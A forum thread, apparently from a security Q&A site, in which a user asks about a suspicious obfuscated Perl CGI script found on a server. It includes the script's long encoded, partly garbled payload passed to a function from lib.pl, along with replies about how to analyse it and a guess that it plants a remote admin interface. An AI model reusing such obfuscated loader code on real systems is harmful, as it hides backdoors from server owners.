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Recently, while looking at some Perl CGI files, I came across this. I am not familiar enough with Perl to know exactly what it means, but I did attempt to base64 decode the string to no effect. Can anyone tell me what this is doing or what it means?

#!/usr/bin/perl
require './lib.pl';OFND('JmJhJÊ3ÝeWlpµTÞAKCk7ÇVBÖDQpp6OZ2ZiAo1VEJJEVOÇFNOVntS3M14RVFVQÞðGRVNUUçB¼X01FÇ5ÖQVEhP1DÇ9RH0gPëLïZXEgÝÝMJIlBPJQKµU1QiÖïAAKSB7ERQøICZSOCM7ZWFkµÐÿLUGFyçNQöc2VNFJIðaW1lÿµ3EKCk7OïVÑIH0NU²D¼CmVs£2USc2UgãLÿ5eyAmëN8²UmVhÐþü1ZFBhçÿ5McnNl²ãDÑKCk7üºý5ICRuZë14b191£ÐIUcGxvWü9HYWQgGMDÝPSAxVý2¼OyB9NWøüDQppð¼Z5Zigk¼GüXaW579üµQJ3JlGOÇýbW90MQLUZWZpýN3YbGUn9AÖ£fSl7ÞÞX7DQomÞïµøbGlzH8ÿFdF9jÞãCÝb21tEºV9YW5kEMKWKCJtB2×BdWx0ÿã¼ÑaWNjZWTVY2Ftø3ÊRIiwkÝ¿86bXVsöþÿïdGljøCµ3Y2NhüLFObSk7PÝçVDQoJ1¿VJQGV4Bþ9JcHMg4ý×HPSAm£2USbGlzëÝMFdF9lÇ5ÖQeHBv0QBEcnRzXTüJKCk7×F0KDQoJ£ýµãJGV4µHMHcCA9RTM5ICRlKNþ7eHBzBIWýWyRp40ÑVbnsn065AaWR4VÐ03J31dÑÝQ¼Ow0K4F80CSVvXFOBcHRzµ5ïëID0gLH7XJXskY4Ö3ZXhwþ02LLT57£²6PJ29wNDOÞdGlvFOCTbnMn²çøÝfX07JüºÝDQogçJO3ICAgHÖHCJG11V¼ý5bHRpÞVUëY2ZnFGAXID0g£VGüIiRløöEüeHAt8¼ÜAPnsnº£ZYaG9zV×TþdCd9öë0ÞXyRlH¿CCeHAtA¿3×PnsnCµ0CcG9yHPO×dCd9öðÖYXyRlVý2¼eHAtQçMKPnsnOïVÑbW9kJF²XdWwnýN3YfS5jÇLã5ZmciZHÞÐOw0KWÝC6ICAgRüÿ2ICRyAX7JZW1v7XPRdGVmJFöXaWxlþÐTUPSAiÞÊJçL3RtUNHYcC8kO042bXVsºGK3dGlj8TH3Zmci7ÜJ7Ow0K²LݲICAgþÑVUICRw3ÞNSYWdl7A²NID0gøDGÖIi8iNÜÿULiRlFGAXeHAtãOÇZPnsnQ2×QbW9kQÐEVdWwnð6¿LfS4iµ0µUL3Jl9MøÊbW90ðÞþ9ZS5jµ¿J²Z2k/29øëZG93ÐZKDbmxvëDZAYWQ9þ1T¿MSI77XLPDQogÜöDXICAgGA46aHR01üü×cF9kÜöDXb3duü㵺bG9hÿã¼ÑZCgkF£C9ZXhwÜï7ðLT57¼R8UJ2hv×ME6c3QnöDãïfSwgRC×KJGV4UBWZcC0+667ºeydw7ÝUöb3J0IÊüQJ30s3IACICRwKTýOYWdlNKNãLCBcT6¿1JGRfÝY8AbWx0KAÜTY3MsJýÇïIFwkAX7JZXJyWPQDZCwg3ö7ëMCwg9ZÞøJGV4ÝÿYHcC0+Ð4SÞeydzºëU¼c2wnкHNfSwgVý2¼JGV4LXðLcC0+Ç8B£eyd18²4Sc2Vy8OöIJ30sZ7ö0JGV4U²D¼cC0+VEVYeydwëÝMFYXNzZKþVJ30sÖ¼IEICRj²Qÿ²b25mÇKç3aWd77L38J211¿RDHbHRpøþÑZY2NjV¿ÐºYW1fKµµQdGltR6º3ZW91ÞãCÝdCd9DÇø3KTsN£ÑPÿCiRl07ðýcnJkÝ4MµID8g2¼1SJmVyÖý¿¼cm9yýÜTRKCR0KNþ7ZXh0C5XVeydoKµµQYXRhµHMHJ30uIÊÇøJGVyMZBçcmQuY4Ö3IjxiÖø63cj4kVÐ03ZXhwI7Ñ2LT57ÐM64J2hvX¿2Bc3QnAINDfTokS5¿üZXhwÇC56LT57¿8QºJ3BvÝÇï8cnQnç1çOfSAkÇÞ9OdGV4J9PHdHsnGKY0c2VyëÝMFdmVyºQµIX3Nh9MøÊdmVf7XPRY29uERüÞbmVjCIÐYdCd9DKZÞIikgZÝ9ROiB1Ý1ëÖbmRlÊLH²ZjsNRNµWCiZj33K0cmVhÝÞC²dGVmVýµ£aWxlV04SKCRyM1¿ÞZW1vWÝC6dGVmSA0ÊaWxlüLFOLCRk7MGNX21sZHÞÐdGNz5ÞÇøLDEs2üOµMDc1FýAANSwpQÐEVOw0KÞüÜVJGZp30µ9bGUgQö8MPSAkJVL¼cmVt²MµÝb3RlURQLZmls0Ý9¿ZTsN7PKICn0gµJÝÝZWxzTGEAZSB7ÖPºFDQokMDV2ZmlsEMç¿ZSA9×1ºÝICRpHJUBbnsnTMKLZmlsðMNïZSd9ÞIº1Ow0KXÝÖLfQ0K2B0²bXkgÇ¿CøJGRpWÝö7ciA9çµÞYICIvã0MãdmFyA4RGL2V0ü8ÐÇYy8iºÊÞÿOw0KëV60QGZp1Ê7ÞbGVzDzB8ID0gUNY7KCAkHIºKY29uQ9üIZmlnKüÿEeydj8¼ÜAY2NhçJ²ÞbV9j8L¼TZmcnSï×YfSwNÇL×GCiAgGçÐ2ICAg×£ÜGICAgLH7XICAgGX7PJGRpH8ÿFci4i²8KGQ0Njç×ÇJYW0u¼øÖ0Y2hhöï0Qbm5l4R£YbGluJF²XZm8iOïVÑLA0KMÇÐÇICAgNÖÑGICAgYBÊMICAgÇöýHICAkA8Q8ZGlyCÊBYLiJDýUZGQ2NhG¼ACbS5wHÞ4ÖcmlvUï6BIiwN0ÐKNCiAgÖGRöICAg0ðMÞICAgXÝYÝICAgZNþÿJGRp9MC3ci4iKNSXQ0NjBGNHYW0uRÑDFcHJvüOEÿdmlk092üZXJzWü9HIiwN¼R8UCiAgçµÞYICAgAïGÖICAg75ïÜICAg9üµQJHR1ÜÝU6cmtkKNþ7dmIs3YTKDQog7çÖðICAgïB7¿ICAgÞýV×ICAg8OöIICRwX¿2BYWNrKçDUYWdlÊL²ELA0KçSXïICAgUçB¼ICAg5¼QµICAgVEFHICAkAVþ4a2V5C5XVcywNZHJTCiAgT6¿1ICAgF8øKICAgZ¿CÜICAgÑAUVJGJh²µMEeWlfJëCEZG9jýUçDLA0Kð7£üICAgCöçUICAgIÐ6ºICAg²Bç8ICAkW52ZdXNlZZÝFcnNfKÞðWZGVsÐK7UZXRlJPѼZCwNPMKRCiAgBþ9JICAg1X65ICAgÑ5ëÇICAgÞïµøJG11ðYQKbHRpEW8¿Y2NjöUCMYW0s2NøXDQogçJ²ÞICAgµ4WðICAgãÑöKICAgGWѵICRk×£ÜGeW5fMXÖYZmlsçRÜÊZSwNL2ÞðCiAg1ÞZçICAgÞýV×ICAgº×RVICAgÜMµÖJHJlEëBÐbW90YOFNZWZpEW8¿bGUpOLÿROw0KÐ0Z6JGZpNÖÑGbGUgÖï3öPSAk89ÖüZmls¿ý0RZXNbGOBBMF0gTDNüaWYgSA0ÊKCEkX9ýVZmlsCVJÖZSk7²þÖ¿DQpm8ÇÝMb3JlVøYWYWNoMþëKICRmXFOBIChAR¿7ðZmlsÊL²EZXMpÊðKçIHsNºÇÝüCgkJµTÞAJGYgÿ4P1ZXEg2µIøJGZpAINDbGUgEëBÐPyAnÖüÿUc2VsNDOÞZWN07TNAZWQn63¿CIDogüLFOJycsïÝZMICRmFüÜ¿Ow0Kïµ£XCSRmEJçQb3VuBB¿ïZCsrFµYJIGlmÑAUVICgkÐ2ÿÑZiBl2ëÞ×cSAkÞ¿3²Zmls0EHÖZSk7T6¿1DQoJAãAUfQ0KPP12IyMjÇC56IyMjAãçUIyMjð2£7IyMj2NøXIyMjN8E4IyMjýJQÇIyMjÜǼ3IyMjëüB4IyMj²µMEIyMjLÊJºIyMjµYVHIyMjµYVHIyMjþIJºIyMj9ÿöýIyMjÖÞÐçIyMjçðеIyMjXJöÐIyMjïðýÞIyMjWïJðIyMjÝÝPºIyMjÿãøRIyMjAãAUIyMj²XðBIyMjÖï3öIyMjFýAAIyMj¿öºHIyMjÖCýÿIyMjCø8ýIyMjþFWYIyMjA1ÑQIyMNYBÊMCmlmïðýÞKCEkC¼Q¿aW57Jë8ýJ2Zp¼5ï£bGVzçIëPYXZlMü6VJ30gVÞKºJiYg7ÝUöISRpºëU¼bnsnSQ6Zc2F2ýSSGZSd9ZMÐSKXsNIÝÝÑCiZj86ÿTY2Nh2ýMIbV9oAVþ4ZWFkãÑöKZXIoÊ2QZJHRl×OQðeHR7ç519J2FsÝÿIçbG1hDOK9bnVhGWѵbF90KRÜWaXRsÿÊÐCZSd9ÇKç3KTsNüÐ4MCnByÇ5ÖQaW50BY²YICI8NG×ÞY2VuX9ð×dGVy¼R8UPiI7øN4²DQpwNKNãcmluÝÑ4FdCAkþFWYcmVtZNÞÞb3RlÖA7ãZmlsVÞKºZSA/ODÝLICZ0I7Ñ2ZHZiG24ÑZm9u39ðüdCgiãÝýýJHRlü8LüeHR7TMXÊJ211Q6ÇöbHRpIÊüQY2NjHSÇHYW1f²µEµdGl0µHMHbGUnÿF0GfSA9²µMEICIsTïëCNCwiBIF8Ymx1JWºLZSIsÝÇï8MSwiDþºýJGV4ç2çÿcC0+7SÞðeydoÇL×Gb3N089ÖüJ306¼ÖÑÐJGV4öþïHcC0+XÿºOeydwD4üRb3J0ýUçDJ30i38Ñ5LDQsZKþVInJlº¿ðµZCIsÖXCÜMSkg£5ý¼OiIi8L¼TOw0K87µGCXByZ¿CÜaW50ÇDQ4ICZ1DÜ×TaV9m2INüb3JtVø9SX3N0µ8¿¼YXJ00IÐÞKCJhZANÖbGxtBBFëYW51TܵÞYWwuZFеY2dpIÞY×Iik7JVL¼DQokµÐÿLaW57¿ÞÜPJ3Jl£²6PbW90VBXRZWZpQÞµÑbGUnÜNR4fSA/EC²ÐCXBy5Ð×ãaW50ðܵ9ICZ1ðܵ9aV9o¼CÑMaWRk1OM0ZW4oXÝÖLImlkQUð9eCIsÞ3µºICRpQ9ܲbnsnÖR6HaWR4Üã¼PJ30pÞIº1LCJc2¼ÊJbiI6öþïHJyc7ðYQKDQokSWZ¿aW572LW×J3JlÑB87bW90ÿ4P1ZWZp×çDNbGUnY4Ö3fSA/LKDºCXBy4R£YaW50µHMHICZ138AºaV9oðNTöaWRkºK2ëZW4oGGINInJl8Ö3×bW90TDNüZWZpV¿IBbGUiÝEÜKLCAx04H9KSwiR¿º×XG4iþï×AOicnTX£5Ow0K7IBWJGluVIÊIeydyVEVYZW1vSYкdGVmN8E4aWxlÖï3öJ30gÑB87PwlwYFܺcmluçýTÖdCAmÖï3ödWlfWX4LaGlkïÐ5PZGVuøëçþKCJpU²D¼bmRlAºN3eCIsIÞY×ICRpþFWYbnsnÝ4ÿFaW5kð¼Ð²ZXgnÜEÞTfSks4XPøIlxuPDWSIjon5£¼¿JzsN8OöICglwµKÖºcmluÝ4MµdCAmUR£RdWlfVSGýaGlkBIF8ZGVu¼PM9KCJpçýTÖZCIsGMDÝICRp¿WãSbnsn0Ý9¿aWQn8çÑðfSks3DGÜIlxuAMý2IjsNXðÑHCglw5Y7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By the way, here is the lib.pl file the script references.

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1 Answer

This script begins by require './lib.pl', which will read and execute the contents of the lib.pl file, from the same directory. Without seeing the contents of this file, your question is (provably) unanswerable.

The generic method for reverse engineering is: do things in due order. The script engine will read the script code top-to-bottom, left-to-right. It begins by reading and processing lib.pl, so begin by that, too. The rest of the script invokes a function called OFND(), which is obviously defined in lib.pl and does... things... which we cannot fathom ex abstracto.

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Hello Thomas, thank you for your quick answer. I'll check the Lib.pl –  Kees Apr 15 '13 at 14:38
    
Thomas, i'll post the lib.pl file –  Kees Apr 15 '13 at 16:02
    
pastebin.com/L78kFkmg –  Kees Apr 15 '13 at 16:06
    
The script employs several others Perl files, and also appears to have created something (a remote WebMin administration interface giving access to the machine?) as /tmp/.webmin. It contains Turkish comments and references to 'hacksat' and 'CCcam' ( possibly this thing: dream-multimedia-tv.co.uk/FAQ.htm#ONE ). Does the script come from a set-top box, or a server? –  lserni Apr 15 '13 at 20:54
    
Hello lserni, the script comes from an server, i'm still trying with base64 without succes –  Kees Apr 18 '13 at 8:15
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